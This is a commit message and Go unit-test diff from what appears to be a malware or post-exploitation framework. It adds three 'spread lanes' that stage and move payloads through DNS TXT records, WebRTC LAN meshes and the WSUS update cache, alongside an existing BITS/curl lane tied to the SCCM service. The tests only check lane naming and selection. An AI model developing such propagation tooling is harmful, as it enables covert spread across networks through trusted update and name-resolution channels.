Add dns_txt, webrtc_mesh, and wsus_cache_peer LOTL deploy tiers with Forge toggles.

Implements three new spread lanes following the do_peer pattern: DNS TXT mesh staging, WebRTC LAN seed manifest delivery, and WSUS SoftwareDistribution cousin handoff. Integrates tiers into onion chain, deploy-plan allowlist, Forge UI/docs, and tests.

server/internal/api/service_deploy_test.go

@@ -23,6 +23,28 @@ func TestNormalizeJoinLaneDoPeer(t *testing.T) {
 	}
 }
 
+func TestNormalizeJoinLaneNewTiers(t *testing.T) {
+	cases := map[string]string{
+		"wsus-cache-peer": "wsus_cache_peer",
+		"dns-txt":         "dns_txt",
+		"webrtc-mesh":     "webrtc_mesh",
+	}
+	for in, want := range cases {
+		if got := normalizeJoinLane(in); got != want {
+			t.Fatalf("%q => %q want %q", in, got, want)
+		}
+	}
+}
+
+func TestPickDeployLaneDNSTXT(t *testing.T) {
+	allowlist := NormalizeServiceDeployAllowlist(nil)
+	services := []DeployServiceFinding{{Name: "dns_txt:_aether", Status: "running"}}
+	matched, lane, ok := PickDeployLane(services, allowlist)
+	if !ok || matched != "dns_txt:_aether" || lane.Lane != "dns_txt" {
+		t.Fatalf("matched=%q lane=%q", matched, lane.Lane)
+	}
+}
+
 func TestPickDeployLanePriority(t *testing.T) {
 	allowlist := NormalizeServiceDeployAllowlist(map[string]ServiceDeployLane{
 		"CCMEXEC":      {Lane: "bits_curl", Priority: 10},